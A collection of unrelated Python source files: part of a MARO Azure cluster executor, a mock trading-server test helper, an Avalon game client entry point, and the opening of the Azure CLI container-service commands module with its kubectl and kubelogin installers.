save_schedule_details( cluster_name=self.cluster_name, schedule_name=schedule_name, schedule_details=start_schedule_deployment ) # Start jobs for job_name in start_schedule_deployment["job_names"]: job_details = self._build_job_details( schedule_details=start_schedule_deployment, job_name=job_name ) self._start_job( job_details=job_details ) def stop_schedule(self, schedule_name: str): # Load details schedule_details = load_schedule_details(cluster_name=self.cluster_name, schedule_name=schedule_name) job_names = schedule_details["job_names"] for job_name in job_names: # Load job details job_details = load_job_details(cluster_name=self.cluster_name, job_name=job_name) job_schedule_tag = job_details["tags"]["schedule"] # Remote stop job if job_schedule_tag == schedule_name: self.grass_executor.remote_create_killed_job_ticket(job_name=job_name) self.grass_executor.remote_delete_pending_job_ticket(job_name=job_name) @staticmethod def _standardize_start_schedule_deployment(start_schedule_deployment: dict): # Validate grass_azure_start_job with open(f"{GlobalPaths.ABS_MARO_GRASS_LIB}/deployments/internal/grass_azure_start_schedule.yml") as fr: start_job_template = yaml.safe_load(fr) validate_and_fill_dict( template_dict=start_job_template, actual_dict=start_schedule_deployment, optional_key_to_value={} ) # Validate component with open(f"{GlobalPaths.ABS_MARO_GRASS_LIB}/deployments/internal/component.yml") as fr: start_job_component_template = yaml.safe_load(fr) components_details = start_schedule_deployment["components"] for _, component_details in components_details.items(): validate_and_fill_dict( template_dict=start_job_component_template, actual_dict=component_details, optional_key_to_value={} ) @staticmethod def _build_job_details(schedule_details: dict, job_name: str) -> dict: schedule_name = schedule_details["name"] job_details = deepcopy(schedule_details) job_details["name"] = job_name job_details["tags"] = { "schedule": schedule_name } job_details.pop("job_names") return job_details # maro grass clean def clean(self): # TODO add clean redis # Remote clean self.grass_executor.remote_clean(parallels=GlobalParams.PARALLELS) # maro grass status def status(self, resource_name: str): if resource_name == "master": return_status = self.grass_executor.remote_get_master_details() elif resource_name == "nodes": return_status = self.grass_executor.remote_get_nodes_details() elif resource_name == "containers": return_status = self.grass_executor.remote_get_containers_details() else: raise BadRequestError(f"Resource '{resource_name}' is unsupported.") # Print status logger.info( json.dumps( return_status, indent=4, sort_keys=True ) ) # maro grass template @staticmethod def template(export_path: str): # Get templates command = f"cp {GlobalPaths.MARO_GRASS_LIB}/deployments/external/* {export_path}" _ = SubProcess.run(command) # Utils def _delete_resources(self, resource_name: str): # Get params cluster_id = self.cluster_details["id"] resource_group = self.cluster_details["cloud"]["resource_group"] # Get resource list resource_list = AzureExecutor.list_resources(resource_group=resource_group) # Filter resources deletable_ids = [] for resource_info in resource_list: if resource_info["name"].startswith(f"{cluster_id}-{resource_name}"): deletable_ids.append(resource_info["id"]) # Delete resources if len(deletable_ids) > 0: AzureExecutor.delete_resources(resources=deletable_ids) def _sync_mkdir(self, path: str, node_ip_address: str): """Mkdir synchronously at local and remote. Args: path (str): path of the file, should be a string with an initial component of ~ or ~user node_ip_address (str): ip address of the remote node """ # Create local dir os.makedirs(os.path.expanduser(path), exist_ok=True) # Create remote dir self.grass_executor.remote_mkdir(node_ip_address=node_ip_address, path=path) class ArmTemplateParameterBuilder: @staticmethod def create_vnet(cluster_details: dict, export_path: str) -> dict: # Get params cluster_id = cluster_details["id"] location = cluster_details["cloud"]["location"] # Load and update parameters with open(f"{GlobalPaths.ABS_MARO_GRASS_LIB}/azure/create_vnet/parameters.json", "r") as f: base_parameters = json.load(f) parameters = base_parameters["parameters"] parameters["location"]["value"] = location parameters["virtualNetworkName"]["value"] = f"{cluster_id}-vnet" # Export parameters if the path is set if export_path: os.makedirs(os.path.dirname(export_path), exist_ok=True) with open(export_path, "w") as fw: json.dump(base_parameters, fw, indent=4) return base_parameters @staticmethod def create_master(cluster_details: dict, node_size: str, export_path: str) -> dict: # Get params resource_name = "master" cluster_id = cluster_details["id"] location = cluster_details["cloud"]["location"] admin_username = cluster_details["user"]["admin_username"] admin_public_key = cluster_details["user"]["admin_public_key"] ssh_port = cluster_details["connection"]["ssh"]["port"] # Load and update parameters with open(f"{GlobalPaths.ABS_MARO_GRASS_LIB}/azure/create_master/parameters.json", "r") as f: base_parameters = json.load(f) parameters = base_parameters["parameters"] parameters["location"]["value"] = location parameters["networkInterfaceName"]["value"] = f"{cluster_id}-{resource_name}-nic" parameters["networkSecurityGroupName"]["value"] = f"{cluster_id}-{resource_name}-nsg" parameters["virtualNetworkName"]["value"] = f"{cluster_id}-vnet" parameters["publicIpAddressName"]["value"] = f"{cluster_id}-{resource_name}-pip" parameters["virtualMachineName"]["value"] = f"{cluster_id}-{resource_name}-vm" parameters["virtualMachineSize"]["value"] = node_size parameters["adminUsername"]["value"] = admin_username parameters["adminPublicKey"]["value"] = admin_public_key parameters["sshDestinationPort"]["value"] = f"{ssh_port}" # Export parameters if the path is set if export_path: os.makedirs(os.path.dirname(export_path), exist_ok=True) with open(export_path, "w") as fw: json.dump(base_parameters, fw, indent=4) return base_parameters @staticmethod def create_build_node_image_vm(cluster_details: dict, node_size: str, export_path: str) -> dict: # Get params resource_name = "build-node-image" cluster_id = cluster_details["id"] location = cluster_details["cloud"]["location"] admin_username = cluster_details["user"]["admin_username"] admin_public_key = cluster_details["user"]["admin_public_key"] ssh_port = cluster_details["connection"]["ssh"]["port"] # Load and update parameters with open(f"{GlobalPaths.ABS_MARO_GRASS_LIB}/azure/create_build_node_image_vm/parameters.json", "r") as f: base_parameters = json.load(f) parameters = base_parameters["parameters"] parameters["location"]["value"] = location parameters["networkInterfaceName"]["value"] = f"{cluster_id}-{resource_name}-nic" parameters["networkSecurityGroupName"]["value"] = f"{cluster_id}-{resource_name}-nsg" parameters["virtualNetworkName"]["value"] = f"{cluster_id}-vnet" parameters["publicIpAddressName"]["value"] = f"{cluster_id}-{resource_name}-pip" parameters["virtualMachineName"]["value"] = f"{cluster_id}-{resource_name}-vm" parameters["virtualMachineSize"]["value"] = node_size parameters["adminUsername"]["value"] = admin_username parameters["adminPublicKey"]["value"] = admin_public_key parameters["sshDestinationPort"]["value"] = f"{ssh_port}" # Export parameters if the path is set if export_path: os.makedirs(os.path.dirname(export_path), exist_ok=True) with open(export_path, "w") as fw: json.dump(base_parameters, fw, indent=4) return base_parameters @staticmethod def create_node( node_name: str, cluster_details: dict, node_size: str, image_resource_id: str, export_path: str ) -> dict: # Extract variables resource_name = node_name cluster_id = cluster_details["id"] location = cluster_details["cloud"]["location"] admin_username = cluster_details["user"]["admin_username"] admin_public_key = cluster_details["user"]["admin_public_key"] ssh_port = cluster_details["connection"]["ssh"]["port"] # Load and update parameters with open(f"{GlobalPaths.ABS_MARO_GRASS_LIB}/azure/create_node/parameters.json", "r") as f: base_parameters = json.load(f) parameters = base_parameters["parameters"] parameters["location"]["value"] = location parameters["networkInterfaceName"]["value"] = f"{cluster_id}-{resource_name}-nic" parameters["networkSecurityGroupName"]["value"] = f"{cluster_id}-{resource_name}-nsg" parameters["virtualNetworkName"]["value"] = f"{cluster_id}-vnet" parameters["publicIpAddressName"]["value"] = f"{cluster_id}-{resource_name}-pip" parameters["virtualMachineName"]["value"] = f"{cluster_id}-{resource_name}-vm" parameters["virtualMachineSize"]["value"] = node_size parameters["imageResourceId"]["value"] = image_resource_id parameters["adminUsername"]["value"] = admin_username parameters["adminPublicKey"]["value"] = admin_public_key parameters["sshDestinationPort"]["value"] = f"{ssh_port}" # Export parameters if the path is set if export_path: os.makedirs(os.path.dirname(export_path), exist_ok=True) with open(export_path, "w") as fw: json.dump(base_parameters, fw, indent=4) return base_parameters
helper.py
#!/usr/bin/env python # -*- coding: utf-8 -*- import json import threading import asyncio import websockets from aiohttp import web class MockInsServer(): def __init__(self, port): self.loop = asyncio.new_event_loop() self.port = port self.thread = threading.Thread(target=self._run) self.thread.start() self.stop_signal = self.loop.create_future() def close(self): self.loop.call_soon_threadsafe(lambda: self.stop_signal.set_result(0)) self.thread.join() async def handle(self, request): data = { "SHFE.cu1901": { "class": "FUTURE", "instrument_id": "SHFE.cu1901", "exchange_id": "SHFE", "ins_id": "cu1901", "ins_name": "\u6caa\u94dc1901", "volume_multiple": 5, "price_tick": 10, "price_decs": 0, "sort_key": 20, "expired": True, "py": "ht,hutong,yinjitong", "product_id": "cu", "product_short_name": "\u6caa\u94dc", "delivery_year": 2019, "delivery_month": 1, "expire_datetime": 1547535600.0, "last_price": 46940.0, "pre_volume": 0, "open_interest": 0, "settlement_price": 46880.0, "max_market_order_volume": 0, "max_limit_order_volume": 500, "margin": 16247.0, "commission": 11.605, "mmsa": 1, "trading_time": { "day": [["09:00:00", "10:15:00"], ["10:30:00", "11:30:00"], ["13:30:00", "15:00:00"]], "night": [["21:00:00", "25:00:00"]] } } } return web.json_response(data) async def task_serve(self): app = web.Application() app.add_routes([web.get('/{tail:.*}', self.handle)]) runner = web.AppRunner(app) await runner.setup() site = web.TCPSite(runner, '127.0.0.1', self.port) await site.start() await self.stop_signal await runner.cleanup() def _run(self): asyncio.set_event_loop(self.loop) self.loop.run_until_complete(self.task_serve()) class MockServer(): def __init__(self): self.loop = asyncio.new_event_loop() self.connections = {} self.server_md = None self.server_td = None self.md_port = 5100 self.td_port = 5200 self._expecting = {} self.stop_signal = self.loop.create_future() def close(self): assert not self._expecting self.loop.call_soon_threadsafe(lambda: self.stop_signal.set_result(0)) self.thread.join() async def _handler_md(self, connection, path): await self.on_connected("md", connection) try: while True: s = await self.connections["md"].recv() pack = json.loads(s) await self.on_received("md", pack) except websockets.exceptions.ConnectionClosedOK as e: assert e.code == 1000 async def _handler_td(self, connection, path): await self.on_connected("td", connection) while True: s = await self.connections["td"].recv() pack = json.loads(s) if pack["aid"] == "peek_message": continue await self.on_received("td", pack) def run(self, script_file_name): self.script_file_name = script_file_name self.thread = threading.Thread(target=self._run) self.thread.start() async def _server(self): async with websockets.serve(self._handler_md, "127.0.0.1", self.md_port) as self.server_md: async with websockets.serve(self._handler_td, "127.0.0.1", self.td_port) as self.server_td: await self.stop_signal def _run(self): self.script_file = open(self.script_file_name, "rt", encoding="utf-8") asyncio.set_event_loop(self.loop) self.loop.run_until_complete(self._server()) async def _process_script(self): # 每次处理日志文件中的一行, 直至需要输入为止 self._expecting = {} for line in self.script_file: # 2019-09-09 16:22:40,652 - DEBUG - websocket message sent to wss://openmd.shinnytech.com/t/md/front/mobile: {"aid": "subscribe_quote", item = {} if "websocket message sent" in line and "peek_message" not in line: item["type"] = "sent" elif "websocket message received" in line: item["type"] = "received" else: continue if "openmd" in line: item["source"] = "md" elif "opentd" in line: item["source"] = "td" else: raise Exception() content_start_pos = line.find("{") content = line[content_start_pos:] item["content"] = json.loads(content) if item["type"] == "sent": self._expecting = item break elif item["type"] == "received": msg = json.dumps(item["content"]) assert self.connections[item["source"]] await self.connections[item["source"]].send(msg) async def on_connected(self, source, connection): self.connections[source] = connection # self._process_script() # assert self._expecting["source"] == source # assert self._expecting["action"] == "connected" async def on_received(self, source, pack): if not self._expecting: await self._process_script() if pack["aid"] != "peek_message": assert self._expecting["source"] == source assert self._expecting["content"] == pack await self._process_script()
avalon.pyw
import logging import threading import time import client_board_state import client import main_board_class as board def main(): #logging.basicConfig(filename='AVALON.log', level=logging.INFO) logging.basicConfig(format='%(levelname)s:%(message)s', level=logging.DEBUG) logging.info('Started') # create a socket connection object my_client, my_queue, lock = client.main() logging.debug('Client loaded successfully.') # create a main board GUI object #Main_Board = threading.Thread(target = my_client.to_server_queue, args =(board.Main_Page, lock)) # Main_Board.start() time.sleep(1) Main_Board = board.Main_Page(lock) logging.debug('Main_Board loaded successfully.') while Main_Board.running: Main_Board.main_loop() # disconnect from the server # my_client.send(my_client.DISCONNECT_MESSAGE) logging.info('Avalon exited gracefully.') if __name__ == '__main__': main() # check user input yes/no # check received stuff from server yes/no # polling driven # I'm doing my own thing, OS, you keep track of stuff, every once in a while I'll ask you, 'hey, did a thing happen?' # nonblocking asencrunus networking (IO) # I'm expecting I might receive data from the server. If I do, please put it in this variable. # then go into UI and check if there is user input or not # have I received infromation from the server? # if the answer is no, then loop otherwise update. # sleep 10 miliseconds # interupt driven # wake me up when an event happens, otherwise I'm going to sleep. # headers: # the first int is how long the message is # example, the first message is a string with a new line character at the end. It's a # with how many characters are after this # the second message is the actual message # 'stop code' is the second way to handle this # keep fetching until I get the keyboard ex: "!stop"
custom.py
# -------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # -------------------------------------------------------------------------------------------- from __future__ import print_function import binascii import datetime import errno import json import os import os.path import platform import random import re import shutil import ssl import stat import string import subprocess import sys import tempfile import threading import time import uuid import webbrowser from distutils.version import StrictVersion from math import isnan from six.moves.urllib.request import urlopen # pylint: disable=import-error from six.moves.urllib.error import URLError # pylint: disable=import-error # pylint: disable=import-error import yaml import dateutil.parser from dateutil.relativedelta import relativedelta from knack.log import get_logger from knack.util import CLIError from knack.prompting import prompt_pass, NoTTYException, prompt_y_n from msrestazure.azure_exceptions import CloudError import requests # pylint: disable=no-name-in-module,import-error from azure.cli.command_modules.acs import acs_client, proxy from azure.cli.command_modules.acs._params import regions_in_preview, regions_in_prod from azure.cli.core.api import get_config_dir from azure.cli.core.azclierror import (ResourceNotFoundError, ArgumentUsageError, ClientRequestError, InvalidArgumentValueError, ValidationError) from azure.cli.core._profile import Profile from azure.cli.core.commands.client_factory import get_mgmt_service_client, get_subscription_id from azure.cli.core.keys import is_valid_ssh_rsa_public_key from azure.cli.core.util import in_cloud_console, shell_safe_json_parse, truncate_text, sdk_no_wait from azure.cli.core.commands import LongRunningOperation from azure.graphrbac.models import (ApplicationCreateParameters, ApplicationUpdateParameters, PasswordCredential, KeyCredential, ServicePrincipalCreateParameters, GetObjectsParameters, ResourceAccess, RequiredResourceAccess) from azure.mgmt.containerservice.models import ContainerServiceOrchestratorTypes from azure.mgmt.containerservice.v2020_09_01.models import ContainerServiceNetworkProfile from azure.mgmt.containerservice.v2020_09_01.models import ContainerServiceLinuxProfile from azure.mgmt.containerservice.v2020_09_01.models import ManagedClusterServicePrincipalProfile from azure.mgmt.containerservice.v2020_09_01.models import ContainerServiceSshConfiguration from azure.mgmt.containerservice.v2020_09_01.models import ContainerServiceSshPublicKey from azure.mgmt.containerservice.v2020_09_01.models import ManagedCluster from azure.mgmt.containerservice.v2020_09_01.models import ManagedClusterAADProfile from azure.mgmt.containerservice.v2020_09_01.models import ManagedClusterAddonProfile from azure.mgmt.containerservice.v2020_09_01.models import ManagedClusterAgentPoolProfile from azure.mgmt.containerservice.v2020_09_01.models import ManagedClusterIdentity from azure.mgmt.containerservice.v2020_09_01.models import AgentPool from azure.mgmt.containerservice.v2020_09_01.models import AgentPoolUpgradeSettings from azure.mgmt.containerservice.v2020_09_01.models import ManagedClusterSKU from azure.mgmt.containerservice.v2020_09_01.models import ManagedClusterWindowsProfile from azure.mgmt.containerservice.v2020_09_01.models import ManagedClusterIdentityUserAssignedIdentitiesValue from azure.mgmt.containerservice.v2019_09_30_preview.models import OpenShiftManagedClusterAgentPoolProfile from azure.mgmt.containerservice.v2019_09_30_preview.models import OpenShiftAgentPoolProfileRole from azure.mgmt.containerservice.v2019_09_30_preview.models import OpenShiftManagedClusterIdentityProvider from azure.mgmt.containerservice.v2019_09_30_preview.models import OpenShiftManagedClusterAADIdentityProvider from azure.mgmt.containerservice.v2019_09_30_preview.models import OpenShiftManagedCluster from azure.mgmt.containerservice.v2019_09_30_preview.models import OpenShiftRouterProfile from azure.mgmt.containerservice.v2019_09_30_preview.models import OpenShiftManagedClusterAuthProfile from azure.mgmt.containerservice.v2019_09_30_preview.models import NetworkProfile from azure.mgmt.containerservice.v2019_09_30_preview.models import OpenShiftManagedClusterMonitorProfile from ._client_factory import cf_container_services from ._client_factory import cf_resource_groups from ._client_factory import get_auth_management_client from ._client_factory import get_graph_rbac_management_client from ._client_factory import cf_resources from ._client_factory import get_resource_by_name from ._client_factory import cf_container_registry_service from ._client_factory import cf_managed_clusters from ._client_factory import get_msi_client from ._helpers import (_populate_api_server_access_profile, _set_vm_set_type, _set_outbound_type, _parse_comma_separated_list) from ._loadbalancer import (set_load_balancer_sku, is_load_balancer_profile_provided, update_load_balancer_profile, create_load_balancer_profile) from ._consts import CONST_SCALE_SET_PRIORITY_REGULAR, CONST_SCALE_SET_PRIORITY_SPOT, CONST_SPOT_EVICTION_POLICY_DELETE from ._consts import CONST_HTTP_APPLICATION_ROUTING_ADDON_NAME from ._consts import CONST_MONITORING_ADDON_NAME from ._consts import CONST_MONITORING_LOG_ANALYTICS_WORKSPACE_RESOURCE_ID from ._consts import CONST_VIRTUAL_NODE_ADDON_NAME from ._consts import CONST_VIRTUAL_NODE_SUBNET_NAME from ._consts import CONST_KUBE_DASHBOARD_ADDON_NAME from ._consts import CONST_AZURE_POLICY_ADDON_NAME from ._consts import CONST_INGRESS_APPGW_ADDON_NAME from ._consts import CONST_INGRESS_APPGW_APPLICATION_GATEWAY_ID, CONST_INGRESS_APPGW_APPLICATION_GATEWAY_NAME from ._consts import CONST_INGRESS_APPGW_SUBNET_CIDR, CONST_INGRESS_APPGW_SUBNET_ID from ._consts import CONST_INGRESS_APPGW_WATCH_NAMESPACE from ._consts import ADDONS from ._consts import CONST_CANIPULL_IMAGE logger = get_logger(__name__) # pylint:disable=too-many-lines,unused-argument def which(binary): path_var = os.getenv('PATH') if platform.system() == 'Windows': binary = binary + '.exe' parts = path_var.split(';') else: parts = path_var.split(':') for part in parts: bin_path = os.path.join(part, binary) if os.path.exists(bin_path) and os.path.isfile(bin_path) and os.access(bin_path, os.X_OK): return bin_path return None def wait_then_open(url): """ Waits for a bit then opens a URL. Useful for waiting for a proxy to come up, and then open the URL. """ for _ in range(1, 10): try: urlopen(url, context=_ssl_context()) except URLError: time.sleep(1) break webbrowser.open_new_tab(url) def wait_then_open_async(url): """ Spawns a thread that waits for a bit then opens a URL. """ t = threading.Thread(target=wait_then_open, args=({url})) t.daemon = True t.start() def acs_browse(cmd, client, resource_group_name, name, disable_browser=False, ssh_key_file=None): """ Opens a browser to the web interface for the cluster orchestrator :param name: Name of the target Azure container service instance. :type name: String :param resource_group_name: Name of Azure container service's resource group. :type resource_group_name: String :param disable_browser: If true, don't launch a web browser after estabilishing the proxy :type disable_browser: bool :param ssh_key_file: If set a path to an SSH key to use, only applies to DCOS :type ssh_key_file: string """ acs_info = _get_acs_info(cmd.cli_ctx, name, resource_group_name) _acs_browse_internal(cmd, client, acs_info, resource_group_name, name, disable_browser, ssh_key_file) def _acs_browse_internal(cmd, client, acs_info, resource_group_name, name, disable_browser, ssh_key_file): orchestrator_type = acs_info.orchestrator_profile.orchestrator_type # pylint: disable=no-member if str(orchestrator_type).lower() == 'kubernetes' or \ orchestrator_type == ContainerServiceOrchestratorTypes.kubernetes or \ (acs_info.custom_profile and acs_info.custom_profile.orchestrator == 'kubernetes'): # pylint: disable=no-member return k8s_browse(cmd, client, name, resource_group_name, disable_browser, ssh_key_file=ssh_key_file) if str(orchestrator_type).lower() == 'dcos' or orchestrator_type == ContainerServiceOrchestratorTypes.dcos: return _dcos_browse_internal(acs_info, disable_browser, ssh_key_file) raise CLIError('Unsupported orchestrator type {} for browse'.format(orchestrator_type)) def k8s_browse(cmd, client, name, resource_group_name, disable_browser=False, ssh_key_file=None): """ Launch a proxy and browse the Kubernetes web UI. :param disable_browser: If true, don't launch a web browser after estabilishing the proxy :type disable_browser: bool """ acs_info = _get_acs_info(cmd.cli_ctx, name, resource_group_name) _k8s_browse_internal(name, acs_info, disable_browser, ssh_key_file) def _k8s_browse_internal(name, acs_info, disable_browser, ssh_key_file): if not which('kubectl'): raise CLIError('Can not find kubectl executable in PATH') browse_path = os.path.join(get_config_dir(), 'acsBrowseConfig.yaml') if os.path.exists(browse_path): os.remove(browse_path) _k8s_get_credentials_internal(name, acs_info, browse_path, ssh_key_file, False) logger.warning('Proxy running on 127.0.0.1:8001/ui') logger.warning('Press CTRL+C to close the tunnel...') if not disable_browser: wait_then_open_async('http://127.0.0.1:8001/ui') subprocess.call(["kubectl", "--kubeconfig", browse_path, "proxy"]) def dcos_browse(cmd, client, name, resource_group_name, disable_browser=False, ssh_key_file=None): """ Creates an SSH tunnel to the Azure container service, and opens the Mesosphere DC/OS dashboard in the browser. :param name: name: Name of the target Azure container service instance. :type name: String :param resource_group_name: Name of Azure container service's resource group. :type resource_group_name: String :param disable_browser: If true, don't launch a web browser after estabilishing the proxy :type disable_browser: bool :param ssh_key_file: Path to the SSH key to use :type ssh_key_file: string """ acs_info = _get_acs_info(cmd.cli_ctx, name, resource_group_name) _dcos_browse_internal(acs_info, disable_browser, ssh_key_file) def _dcos_browse_internal(acs_info, disable_browser, ssh_key_file): if not os.path.isfile(ssh_key_file): raise CLIError('Private key file {} does not exist'.format(ssh_key_file)) acs = acs_client.ACSClient() if not acs.connect(_get_host_name(acs_info), _get_username(acs_info), key_filename=ssh_key_file): raise CLIError('Error connecting to ACS: {}'.format(_get_host_name(acs_info))) octarine_bin = '/opt/mesosphere/bin/octarine' if not acs.file_exists(octarine_bin): raise CLIError('Proxy server ({}) does not exist on the cluster.'.format(octarine_bin)) proxy_id = _rand_str(16) proxy_cmd = '{} {}'.format(octarine_bin, proxy_id) acs.run(proxy_cmd, background=True) # Parse the output to get the remote PORT proxy_client_cmd = '{} --client --port {}'.format(octarine_bin, proxy_id) stdout, _ = acs.run(proxy_client_cmd) remote_port = int(stdout.read().decode().strip()) local_port = acs.get_available_local_port() # Set the proxy proxy.set_http_proxy('127.0.0.1', local_port) logger.warning('Proxy running on 127.0.0.1:%s', local_port) logger.warning('Press CTRL+C to close the tunnel...') if not disable_browser: wait_then_open_async('http://127.0.0.1') try: acs.create_tunnel( remote_host='127.0.0.1', remote_port=remote_port, local_port=local_port) finally: proxy.disable_http_proxy() def acs_install_cli(cmd, client, resource_group_name, name, install_location=None, client_version=None): acs_info = _get_acs_info(cmd.cli_ctx, name, resource_group_name) orchestrator_type = acs_info.orchestrator_profile.orchestrator_type # pylint: disable=no-member kwargs = {'install_location': install_location} if client_version: kwargs['client_version'] = client_version if orchestrator_type == 'kubernetes': return k8s_install_cli(**kwargs) if orchestrator_type == 'dcos': return dcos_install_cli(**kwargs) raise CLIError('Unsupported orchestrator type {} for install-cli'.format(orchestrator_type)) def _ssl_context(): if sys.version_info < (3, 4) or (in_cloud_console() and platform.system() == 'Windows'): try: return ssl.SSLContext(ssl.PROTOCOL_TLS) # added in python 2.7.13 and 3.6 except AttributeError: return ssl.SSLContext(ssl.PROTOCOL_TLSv1) return ssl.create_default_context() def _urlretrieve(url, filename): req = urlopen(url, context=_ssl_context()) with open(filename, "wb") as f: f.write(req.read()) def _unzip(src, dest): logger.debug('Extracting %s to %s.', src, dest) system = platform.system() if system in ('Linux', 'Darwin', 'Windows'): import zipfile with zipfile.ZipFile(src, 'r') as zipObj: zipObj.extractall(dest) else: raise CLIError('The current system is not supported.') def dcos_install_cli(cmd, install_location=None, client_version='1.8'): """ Downloads the dcos command line from Mesosphere """ system = platform.system() if not install_location: raise CLIError( "No install location specified and it could not be determined from the current platform '{}'".format( system)) base_url = 'https://downloads.dcos.io/binaries/cli/{}/x86-64/dcos-{}/{}' if system == 'Windows': file_url = base_url.format('windows', client_version, 'dcos.exe') elif system == 'Linux': # TODO Support ARM CPU here file_url = base_url.format('linux', client_version, 'dcos') elif system == 'Darwin': file_url = base_url.format('darwin', client_version, 'dcos') else: raise CLIError('Proxy server ({}) does not exist on the cluster.'.format(system)) logger.warning('Downloading client to %s', install_location) try: _urlretrieve(file_url, install_location) os.chmod(install_location, os.stat(install_location).st_mode | stat.S_IXUSR | stat.S_IXGRP | stat.S_IXOTH) except IOError as err: raise CLIError('Connection error while attempting to download client ({})'.format(err)) def k8s_install_cli(cmd, client_version='latest', install_location=None, base_src_url=None, kubelogin_version='latest', kubelogin_install_location=None, kubelogin_base_src_url=None): k8s_install_kubectl(cmd, client_version, install_location, base_src_url) k8s_install_kubelogin(cmd, kubelogin_version, kubelogin_install_location, kubelogin_base_src_url) def k8s_install_kubectl(cmd, client_version='latest', install_location=None, source_url=None): """ Install kubectl, a command-line interface for Kubernetes clusters. """ if not source_url: source_url = "https://storage.googleapis.com/kubernetes-release/release" cloud_name = cmd.cli_ctx.cloud.name if cloud_name.lower() == 'azurechinacloud': source_url = 'https://mirror.azure.cn/kubernetes/kubectl' if client_version == 'latest': context = _ssl_context() version = urlopen(source_url + '/stable.txt', context=context).read() client_version = version.decode('UTF-8').strip() else: client_version = "v%s" % client_version file_url = '' system = platform.system() base_url = source_url + '/{}/bin/{}/amd64/{}' # ensure installation directory exists install_dir, cli = os.path.dirname(install_location), os.path.basename(install_location) if not os.path.exists(install_dir): os.makedirs(install_dir) if system == 'Windows': file_url = base_url.format(client_version, 'windows', 'kubectl.exe') elif system == 'Linux': # TODO: Support ARM CPU here file_url = base_url.format(client_version, 'linux', 'kubectl') elif system == 'Darwin': file_url = base_url.format(client_version, 'darwin', 'kubectl') else: raise CLIError('Proxy server ({}) does not exist on the cluster.'.format(system)) logger.warning('Downloading client to "%s" from "%s"', install_location, file_url) try: _urlretrieve(file_url, install_location) os.chmod(install_location, os.stat(install_location).st_mode | stat.S_IXUSR | stat.S_IXGRP | stat.S_IXOTH) except IOError as ex: raise CLIError('Connection error while attempting to download client ({})'.format(ex)) if system == 'Windows': # be verbose, as the install_location likely not in Windows's search PATHs env_paths = os.environ['PATH'].split(';') found = next((x for x in env_paths if x.lower().rstrip('\\') == install_dir.lower()), None) if not found: # pylint: disable=logging-format-interpolation logger.warning('Please add "{0}" to your search PATH so the `{1}` can be found. 2 options: \n' ' 1. Run "set PATH=%PATH%;{0}" or "$env:path += \'{0}\'" for PowerShell. ' 'This is good for the current command session.\n' ' 2. Update system PATH environment variable by following ' '"Control Panel->System->Advanced->Environment Variables", and re-open the command window. ' 'You only need to do it once'.format(install_dir, cli)) else: logger.warning('Please ensure that %s is in your search PATH, so the `%s` command can be found.', install_dir, cli) def k8s_install_kubelogin(cmd, client_version='latest', install_location=None, source_url=None): """ Install kubelogin, a client-go credential (exec) plugin implementing azure authentication. """ cloud_name = cmd.cli_ctx.cloud.name if not source_url: source_url = 'https://github.com/Azure/kubelogin/releases/download' if cloud_name.lower() == 'azurechinacloud': source_url = 'https://mirror.azure.cn/kubernetes/kubelogin' if client_version == 'latest': context = _ssl_context() latest_release_url = 'https://api.github.com/repos/Azure/kubelogin/releases/latest' if cloud_name.lower() == 'azurechinacloud': latest_release_url = 'https://mirror.azure.cn/kubernetes/kubelogin/latest' latest_release = urlopen(latest_release_url, context=context).read() client_version = json.loads(latest_release)['tag_name'].strip() else: client_version = "v%s" % client_version base_url = source_url + '/{}/kubelogin.zip' file_url = base_url.format(client_version) # ensure installation directory exists install_dir, cli = os.path.dirname(install_location), os.path.basename(install_location) if not os.path.exists(install_dir): os.makedirs(install_dir) system = platform.system() if system == 'Windows': sub_dir, binary_name = 'windows_amd64', 'kubelogin.exe' elif system == 'Linux': # TODO: Support ARM CPU here sub_dir, binary_name = 'linux_amd64', 'kubelogin' elif system == 'Darwin': sub_dir, binary_name = 'darwin_amd64', 'kubelogin' else: raise CLIError('Proxy server ({}) does not exist on the cluster.'.format(system)) with tempfile.TemporaryDirectory() as tmp_dir: try: download_path = os.path.join(tmp_dir, 'kubelogin.zip') logger.warning('Downloading client to "%s" from "%s"', download_path, file_url) _urlretrieve(file_url, download_path) except IOError as ex: raise CLIError('Connection error while attempting to download client ({})'.format(ex)) _unzip(download_path, tmp_dir) download_path = os.path.join(tmp_dir, 'bin', sub_dir, binary_name) shutil.move(download_path, install_location) os.chmod(install_location, os.stat(install_location).st_mode | stat.S_IXUSR | stat.S_IXGRP | stat.S_IXOTH) if system == 'Windows': # be verbose, as the install_location likely not in Windows's search PATHs env_paths = os.environ['PATH'].split(';') found = next((x for x in env_paths if x.lower().rstrip('\\') == install_dir.lower()), None) if not found: # pylint: disable=logging-format-interpolation logger.warning('Please add "{0}" to your search PATH so the `{1}` can be found. 2 options: \n' ' 1. Run "set PATH=%PATH%;{0}" or "$env:path += \'{0}\'" for PowerShell. ' 'This is good for the current command session.\n' ' 2. Update system PATH environment variable by following ' '"Control Panel->System->Advanced->Environment Variables", and re-open the command window. ' 'You only need to do it once'.format(install_dir, cli)) else: logger.warning('Please ensure that %s is in your search PATH, so the `%s` command can be found.', install_dir, cli) def _build_service_principal(rbac_client, cli_ctx, name, url, client_secret): # use get_progress_controller hook = cli_ctx.get_progress_controller(True) hook.add(messsage='Creating service principal', value=0, total_val=1.0) logger.info('Creating service principal') # always create application with 5 years expiration start_date = datetime.datetime.utcnow() end_date = start_date + relativedelta(years=5) result, aad_session_key = create_application(rbac_client.applications, name, url, [url], password=client_secret, start_date=start_date, end_date=end_date) service_principal = result.app_id # pylint: disable=no-member for x in range(0, 10): hook.add(message='Creating service principal', value=0.1 * x, total_val=1.0) try: create_service_principal(cli_ctx, service_principal, rbac_client=rbac_client) break # TODO figure out what exception AAD throws here sometimes. except Exception as ex: # pylint: disable=broad-except logger.info(ex) time.sleep(2 + 2 * x) else: return False, aad_session_key hook.add(message='Finished service principal creation', value=1.0, total_val=1.0) logger.info('Finished service principal creation') return service_principal, aad_session_key def _add_role_assignment(cli_ctx, role, service_principal_msi_id, is_service_principal=True, delay=2, scope=None): # AAD can have delays in propagating data, so sleep and retry hook = cli_ctx.get_progress_controller(True) hook.add(message='Waiting for AAD role to propagate', value=0, total_val=1.0) logger.info('Waiting for AAD role to propagate') for x in range(0, 10): hook.add(message='Waiting for AAD role to propagate', value=0.1 * x, total_val=1.0) try: # TODO: break this out into a shared utility library create_role_assignment(cli_ctx, role, service_principal_msi_id, is_service_principal, scope=scope) break except CloudError as ex: if ex.message == 'The role assignment already exists.': break logger.info(ex.message) except: # pylint: disable=bare-except pass time.sleep(delay + delay * x) else: return False 